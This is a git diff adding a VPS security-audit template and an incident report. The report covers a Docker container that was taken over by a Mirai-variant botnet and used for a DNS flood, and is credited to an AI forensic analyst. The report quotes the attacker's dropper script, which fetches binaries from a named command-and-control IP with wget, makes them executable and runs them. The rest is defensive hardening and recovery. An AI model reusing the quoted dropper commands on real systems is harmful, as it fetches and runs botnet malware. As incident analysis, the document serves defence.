diff --git a/docs/SECURITY_AUDIT_TEMPLATE_VPS.md b/docs/SECURITY_AUDIT_TEMPLATE_VPS.md new file mode 100644 index 00000000..d2551abf --- /dev/null +++ b/docs/SECURITY_AUDIT_TEMPLATE_VPS.md @@ -0,0 +1,329 @@ +# VPS Security Audit Template + +**Based on lessons learned from agenticgovernance.digital incident (2025-12-09)** + +--- + +## Server Information + +| Field | Value | +|-------|-------| +| **Target Server** | mysovereignty.digital | +| **VPS Provider** | OVH | +| **Audit Date** | ___________ | +| **Auditor** | ___________ | + +--- + +## 1. SSH Security + +### 1.1 Configuration Check +```bash +# Run on server: +grep -E "^PasswordAuthentication|^PermitRootLogin|^MaxAuthTries|^PubkeyAuthentication" /etc/ssh/sshd_config +``` + +| Setting | Expected | Actual | Status | +|---------|----------|--------|--------| +| PasswordAuthentication | no | | ⬜ | +| PermitRootLogin | no | | ⬜ | +| MaxAuthTries | 3-5 | | ⬜ | +| PubkeyAuthentication | yes | | ⬜ | + +### 1.2 Authorized Keys +```bash +# Check for unauthorized keys: +cat ~/.ssh/authorized_keys +cat /root/.ssh/authorized_keys 2>/dev/null +``` +- [ ] Only expected keys present +- [ ] No unknown public keys + +### 1.3 Recent Login Attempts +```bash +# Check for brute force: +grep "Failed password" /var/log/auth.log | tail -20 +# Check successful logins: +grep "Accepted" /var/log/auth.log | tail -20 +``` +- [ ] No successful unauthorized logins +- [ ] Brute force attempts are being blocked + +--- + +## 2. Firewall (UFW) + +### 2.1 Status Check +```bash +sudo ufw status verbose +``` + +| Port | Service | Should Allow | Status | +|------|---------|--------------|--------| +| 22 | SSH | Yes | ⬜ | +| 80 | HTTP | Yes | ⬜ | +| 443 | HTTPS | Yes | ⬜ | +| 2375 | Docker API | **NO** | ⬜ | +| 2376 | Docker TLS | **NO** | ⬜ | +| 27017 | MongoDB | **NO** (localhost only) | ⬜ | + +### 2.2 Default Policy +```bash +sudo ufw status verbose | grep Default +``` +- [ ] Default incoming: deny +- [ ] Default outgoing: allow + +--- + +## 3. Docker Security (CRITICAL) + +### 3.1 Docker Installation Status +```bash +which docker +docker --version 2>/dev/null || echo "Docker not installed" +``` + +| Check | Status | +|-------|--------| +| Docker installed? | ⬜ Yes / ⬜ No | +| If yes, is it necessary? | ⬜ Yes / ⬜ No | + +### 3.2 If Docker IS Installed + +```bash +# Check running containers: +docker ps -a +# Check Docker socket exposure: +ls -la /var/run/docker.sock +# Check Docker API binding: +ss -tlnp | grep docker +``` + +- [ ] No unnecessary containers running +- [ ] Docker socket not world-readable +- [ ] Docker API NOT bound to 0.0.0.0 +- [ ] UFW blocks ports 2375/2376 + +### 3.3 Recommendation +**If Docker is not essential, REMOVE IT:** +```bash +sudo apt purge docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin +sudo rm -rf /var/lib/docker /var/lib/containerd +``` + +--- + +## 4. Intrusion Detection + +### 4.1 fail2ban Status +```bash +sudo systemctl status fail2ban +sudo fail2ban-client status +sudo fail2ban-client status sshd +``` + +| Check | Status | +|-------|--------| +| fail2ban installed | ⬜ | +| fail2ban running | ⬜ | +| SSH jail enabled | ⬜ | +| Ban time adequate (≥1h) | ⬜ | + +### 4.2 If NOT Installed +```bash +sudo apt install fail2ban +sudo systemctl enable fail2ban +sudo systemctl start fail2ban + +# Create jail config: +sudo tee /etc/fail2ban/jail.local << 'EOF' +[DEFAULT] +bantime = 1h +findtime = 10m +maxretry = 3 + +[sshd] +enabled = true +port = ssh +filter = sshd +logpath = /var/log/auth.log +maxretry = 3 +bantime = 24h +EOF + +sudo systemctl restart fail2ban +``` + +--- + +## 5. Database Security + +### 5.1 MongoDB (if applicable) +```bash +grep -E "bindIp|authorization" /etc/mongod.conf +``` + +| Setting | Expected | Actual | Status | +|---------|----------|--------|--------| +| bindIp | 127.0.0.1 | | ⬜ | +| authorization | enabled | | ⬜ | + +- [ ] MongoDB NOT exposed to internet +- [ ] Authentication enabled +- [ ] Strong admin password + +### 5.2 PostgreSQL (if applicable) +```bash +grep -E "listen_addresses" /etc/postgresql/*/main/postgresql.conf +cat /etc/postgresql/*/main/pg_hba.conf | grep -v "^#" | grep -v "^$" +``` + +- [ ] listen_addresses = 'localhost' (or specific IPs) +- [ ] No `trust` authentication for remote hosts + +--- + +## 6. System Integrity + +### 6.1 User Accounts +```bash +# Users with shell access: +grep -v "nologin\|false" /etc/passwd +# Users with sudo: +grep -E "^sudo|^admin" /etc/group +``` + +- [ ] No unexpected user accounts +- [ ] No unauthorized sudo users + +### 6.2 Cron Jobs +```bash +# System cron: +ls -la /etc/cron.d/ +cat /etc/crontab +# User crons: +sudo ls /var/spool/cron/crontabs/ +``` + +- [ ] No suspicious cron jobs +- [ ] All cron jobs recognized + +### 6.3 Systemd Services +```bash +# Custom services: +ls /etc/systemd/system/*.service | grep -v "@" +# Enabled services: +systemctl list-unit-files --state=enabled | grep -v "systemd\|dbus\|network" +``` + +- [ ] All enabled services recognized +- [ ] No suspicious service files + +### 6.4 Listening Ports +```bash +sudo ss -tlnp +sudo ss -ulnp +``` + +- [ ] All listening ports expected +- [ ] No unexpected services + +--- + +## 7. Application Security + +### 7.1 Environment Files +```bash +# Check for exposed secrets: +ls -la /var/www/*/.env* 2>/dev/null +ls -la /home/*/.env* 2>/dev/null +``` + +- [ ] .env files have restricted permissions (600 or 640) +- [ ] No .env.backup files with secrets +- [ ] Secrets not in git history + +### 7.2 Git Repository Security +```bash +# Check for tracked secrets: +git log --all --full-history -- "*.env*" ".admin-credentials*" "*.credentials*" 2>/dev/null | head -5 +``` + +- [ ] No credential files in git history +- [ ] .gitignore includes sensitive patterns + +### 7.3 Admin Credentials +- [ ] Default passwords changed +- [ ] Admin password is strong (20+ chars, random) +- [ ] Password rotated after any exposure + +--- + +## 8. Updates & Patches + +```bash +# Check for updates: +sudo apt update +apt list --upgradable +# Check last update: +ls -la /var/log/apt/history.log +``` + +- [ ] System is up to date +- [ ] Automatic security updates enabled + +--- + +## 9. SSL/TLS + +```bash +# Check certificate: +curl -vI https://mysovereignty.digital 2>&1 | grep -E "expire|issuer|subject" +# Test SSL: +openssl s_client -connect mysovereignty.digital:443 -servername mysovereignty.digital < /dev/null 2>/dev/null | openssl x509 -noout -dates +``` + +- [ ] Valid SSL certificate +- [ ] Certificate not expiring soon +- [ ] HTTPS enforced (HTTP redirects) + +--- + +## 10. Backup & Recovery + +- [ ] Backup strategy documented +- [ ] Backups tested recently +- [ ] Recovery procedure documented + +--- + +## Summary + +| Category | Status | Priority | +|----------|--------|----------| +| SSH Security | | | +| Firewall | | | +| Docker | | | +| fail2ban | | | +| Database | | | +| System Integrity | | | +| Application | | | +| Updates | | | +| SSL/TLS | | | +| Backups | | | + +### Critical Issues Found +1. +2. +3. + +### Recommended Actions +1. +2. +3. + +--- + +**Audit Completed**: ___________ +**Next Audit Due**: ___________ diff --git a/docs/SECURITY_INCIDENT_REPORT_2025-12-09.md b/docs/SECURITY_INCIDENT_REPORT_2025-12-09.md new file mode 100644 index 00000000..9e3f5505 --- /dev/null +++ b/docs/SECURITY_INCIDENT_REPORT_2025-12-09.md @@ -0,0 +1,358 @@ +# Security Incident Report: VPS Compromise +## Date: 2025-12-09 15:53 CET + +--- + +## Executive Summary + +**Incident**: DNS flood attack (83Kpps/45Mbps) launched from VPS +**Root Cause**: Compromised Docker container (Umami Analytics) +**Malware**: Exodus Botnet (Mirai variant) +**Host Impact**: NONE - malware was contained within Docker +**Data Impact**: No evidence of exfiltration +**Recommendation**: Clean Docker, redeploy, harden + +--- + +## 1. Timeline of Events + +| Time (CET) | Event | +|------------|-------| +| ~14:43 | Attacker gains access to Docker container | +| 14:43 | Fake `dockerd` binaries deployed in container | +| 14:48 | Dropper scripts (`.d`, `.ffaaxx`) created | +| 14:50 | Exodus multi-architecture binaries downloaded from 196.251.100.191 | +| 14:53:14 | DNS flood attack begins (target: 171.225.223.108:53) | +| 14:53:42 | OVH detects attack, initiates shutdown | +| 14:53:42 | VPS forced into rescue mode | +| ~18:00 | OVH sends notification emails | + +--- + +## 2. Attack Details + +### 2.1 Traffic Analysis (from OVH) +``` +Attack rate: 83,000 packets/second +Bandwidth: 45 Mbps +Protocol: UDP +Source port: 35334 +Target: 171.225.223.108:53 (Vietnam) +Packet size: 540 bytes +Attack type: DNS flood +``` + +### 2.2 Malware Identified + +**Name**: Exodus Botnet (Mirai variant) +**C2 Server**: 196.251.100.191 (South Africa) +**Download URL**: `http://196.251.100.191/no_killer/Exodus.*` + +**Files deployed**: +``` +/var/lib/docker/overlay2/.../diff/ +├── tmp/ +│ ├── .d (ELF dropper binary) +│ ├── .ffaaxx (hidden attack binary) +│ ├── update.sh (download script) +│ ├── Exodus.x86_64 (main attack binary) +│ ├── Exodus.x86 +│ ├── Exodus.arm4-7 +│ ├── Exodus.mips +│ ├── Exodus.m68k +│ ├── Exodus.ppc +│ ├── Exodus.sh4 +│ ├── Exodus.spc +│ ├── Exodus.mpsl +│ └── Exodus.i686 +└── var/tmp/ + ├── dockerd (fake Docker daemon) + └── dockerd-daemon (attack daemon) +``` + +### 2.3 Dropper Script Content (update.sh) +```bash +cd /tmp; wget http://196.251.100.191/no_killer/Exodus.x86_64; chmod 777 *; ./Exodus.x86_64; +cd /tmp; wget http://196.251.100.191/no_killer/Exodus.x86; chmod 777 *; ./Exodus.x86; +# ... (repeated for all architectures) +``` + +--- + +## 3. Entry Vector Analysis + +### 3.1 What Was NOT Compromised + +| Vector | Status | Evidence | +|--------|--------|----------| +| SSH | CLEAN | All logins from legitimate IPv6 + key | +| MongoDB | CLEAN | Bound to 127.0.0.1, auth enabled | +| Tractatus App | CLEAN | server.js hash matches local | +| Host OS | CLEAN | No rogue users, cron jobs, or modified binaries | +| nginx | CLEAN | Config hash verified | +| systemd | CLEAN | Service file hash verified | +| SSH Keys | CLEAN | Only legitimate deploy key present | + +### 3.2 What WAS Compromised + +| Component | Status | Evidence | +|-----------|--------|----------| +| Docker Container | COMPROMISED | Malware files in overlay2 | +| Umami Analytics | LIKELY ENTRY POINT | Web-facing container | + +### 3.3 Probable Entry Method + +The **Umami Analytics container** (`ghcr.io/umami-software/umami:postgresql-latest`) was the likely entry point: + +1. Container exposed to network +2. Possible vulnerability in Umami +3. OR default/weak credentials +4. OR exposed Docker API + +**Note**: No unauthorized SSH access was detected. All 30 recent logins were from the same legitimate IPv6 address with the correct SSH key. + +--- + +## 4. Impact Assessment + +### 4.1 What Was Affected + +| System | Impact | Details | +|--------|--------|---------| +| Website | DOWN | VPS in rescue mode | +| Database (MongoDB) | INTACT | No evidence of access | +| User Data | NONE | No users except admin | +| Credentials | EXPOSED | Git history had credential files | +| IP Reputation | DAMAGED | May be blacklisted | + +### 4.2 What Was NOT Affected + +- Tractatus application code (hash verified) +- MongoDB data integrity +- SSL certificates +- DNS configuration +- GitHub repositories + +--- + +## 5. Forensic Evidence Summary + +### 5.1 File System Analysis + +**Modified files in last 24h (excluding Docker/logs)**: +- All legitimate deployment files from today's translation work +- Normal system cache updates +- PostgreSQL WAL files (normal operation) + +**No modifications to**: +- /etc/passwd (no rogue users) +- /etc/cron.* (no malicious cron jobs) +- /usr/bin, /usr/sbin (no modified binaries) +- ~/.ssh/authorized_keys (only legitimate key) + +### 5.2 Log Analysis + +**SSH Auth Log**: Heavy brute force from multiple IPs: +- 92.118.39.x (trying: solv, node, ps, mapr) +- 80.94.92.x (trying: sol, solana, trader) +- 31.58.144.6 (trying: root) +- 193.46.255.7 (trying: root) + +**Result**: ALL failed - no successful unauthorized logins + +### 5.3 Integrity Verification + +| File | Local Hash | Production Hash | Status | +|------|------------|-----------------|--------| +| src/server.js | 884b6a4874867aae58269c2f88078b73 | 884b6a4874867aae58269c2f88078b73 | MATCH | +| public/*.js count | 123 | 123 | MATCH | +| src/*.js count | 139 | 139 | MATCH | + +--- + +## 6. Recovery Options + +### Option A: Full Reinstall (Safest) +**Pros**: Eliminates any hidden persistence +**Cons**: More time, reconfiguration needed +**Risk**: LOW + +### Option B: Clean Docker + Redeploy (Recommended) +**Pros**: Faster, maintains configuration +**Cons**: Small risk of missed persistence +**Risk**: LOW-MEDIUM (mitigated by evidence showing containment) + +**Justification for Option B**: +1. Malware was 100% contained in Docker overlay +2. Host system files verified clean +3. No unauthorized SSH access +4. No rogue users or cron jobs +5. Application code hashes match +6. Config files verified intact + +--- + +## 7. Recommended Recovery Steps (Option B) + +### Phase 1: Clean Docker (In Rescue Mode) +```bash +# Mount disk +mount /dev/sdb1 /mnt/vps + +# Remove all Docker data +rm -rf /mnt/vps/var/lib/docker/* +rm -rf /mnt/vps/opt/containerd/* + +# Disable Docker autostart +rm /mnt/vps/etc/systemd/system/multi-user.target.wants/docker.service 2>/dev/null +``` + +### Phase 2: Security Hardening +```bash +# Block Docker ports via UFW (add to /etc/ufw/user.rules) +-A ufw-user-input -p tcp --dport 2375 -j DROP +-A ufw-user-input -p tcp --dport 2376 -j DROP + +# Disable password auth in sshd_config +sed -i 's/.*PasswordAuthentication.*/PasswordAuthentication no/' /mnt/vps/etc/ssh/sshd_config + +# Install fail2ban (after reboot) +``` + +### Phase 3: Request Normal Boot +Contact OVH support to restore normal boot mode. + +### Phase 4: Post-Boot Actions +```bash +# Verify services +sudo systemctl status tractatus +sudo systemctl status mongod +sudo systemctl status nginx + +# Rotate credentials +node scripts/fix-admin-user.js admin@agenticgovernance.digital 'NEW_PASSWORD' + +# Update .env with new secrets +# Redeploy from clean local source +./scripts/deploy.sh --yes +``` + +### Phase 5: Remove Docker (If Not Needed) +```bash +sudo apt purge docker-ce docker-ce-cli containerd.io +sudo rm -rf /var/lib/docker /var/lib/containerd +``` + +--- + +## 8. Preventive Measures + +### Immediate +- [ ] Rotate all passwords (admin, MongoDB, etc.) +- [ ] Remove Docker or secure it properly +- [ ] Enable fail2ban +- [ ] Review UFW rules +- [ ] Disable SSH password auth + +### Long-term +- [ ] Never expose Docker API to network +- [ ] Use Docker rootless mode if Docker needed +- [ ] Implement intrusion detection (OSSEC/Wazuh) +- [ ] Set up log monitoring/alerting +- [ ] Regular security audits +- [ ] Remove credential files from git history (BFG Repo-Cleaner) + +--- + +## 9. Lessons Learned + +1. **Docker containers are attack surfaces** - Even "analytics" containers can be compromised +2. **Container isolation ≠ security** - Containers had network access to launch attacks +3. **Defense in depth works** - UFW, MongoDB auth, SSH keys prevented host compromise +4. **Git credential exposure is dangerous** - Historical credential files may have aided reconnaissance +5. **OVH detection is fast** - Attack stopped within seconds of detection + +--- + +## 10. Contact OVH + +**To restore normal mode**, contact OVH support with: +- Reference: CS13385927 +- Server: vps-93a693da.vps.ovh.net +- Explain: Docker container was compromised, malware removed, requesting normal boot + +--- + +## Appendix A: OVH Email Content + +``` +Attack detail : 83Kpps/45Mbps +dateTime srcIp:srcPort dstIp:dstPort protocol flags bytes reason +2025.12.09 15:53:14 CET 91.134.240.3:35334 171.225.223.108:53 UDP --- 540 ATTACK:DNS +``` + +## Appendix B: Compromised Docker Containers + +| Container | Image | Status | +|-----------|-------|--------| +| tractatus-umami | ghcr.io/umami-software/umami:postgresql-latest | COMPROMISED | +| tractatus-umami-db | postgres:15-alpine | Likely clean | + +--- + +## Appendix C: Recovery Completed + +**Recovery Date**: 2025-12-09T19:15:00Z + +### Actions Completed + +| Action | Status | Time | +|--------|--------|------| +| Docker data removed | ✅ | Rescue mode | +| Containerd data removed | ✅ | Rescue mode | +| Docker autostart disabled | ✅ | Rescue mode | +| SSH hardened (no password, no root, MaxAuthTries 3) | ✅ | Rescue mode | +| UFW rules updated (Docker ports blocked) | ✅ | Rescue mode | +| fail2ban configured (SSH jail, 24h ban) | ✅ | Rescue mode | +| VPS rebooted to normal mode | ✅ | Via OVH Manager | +| Services verified (tractatus, nginx, mongod, fail2ban) | ✅ | Post-reboot | +| Docker packages purged (apt purge) | ✅ | Post-reboot | +| Admin credentials rotated | ✅ | Post-reboot | +| Redeployed from clean local source | ✅ | Post-reboot | +| Website verified (HTTP 200) | ✅ | Post-deployment | + +### Hardening Applied + +**SSH Configuration** (`/etc/ssh/sshd_config`): +``` +PasswordAuthentication no +PermitRootLogin no +MaxAuthTries 3 +LoginGraceTime 20 +``` + +**UFW Rules** (new additions): +``` +-A ufw-user-input -p tcp --dport 2375 -j DROP +-A ufw-user-input -p tcp --dport 2376 -j DROP +``` + +**fail2ban** (`/etc/fail2ban/jail.local`): +``` +[sshd] +enabled = true +maxretry = 3 +bantime = 24h +``` + +### Docker Status +- All Docker packages removed: `docker-ce`, `docker-ce-cli`, `containerd.io`, `docker-buildx-plugin`, `docker-compose-plugin` +- `/var/lib/docker` directory removed +- No container runtime installed on server + +--- + +**Report Generated**: 2025-12-09T18:30:00Z +**Report Updated**: 2025-12-09T19:15:00Z +**Analyst**: Claude Code (Forensic Analysis) +**Status**: ✅ RECOVERY COMPLETE - Site operational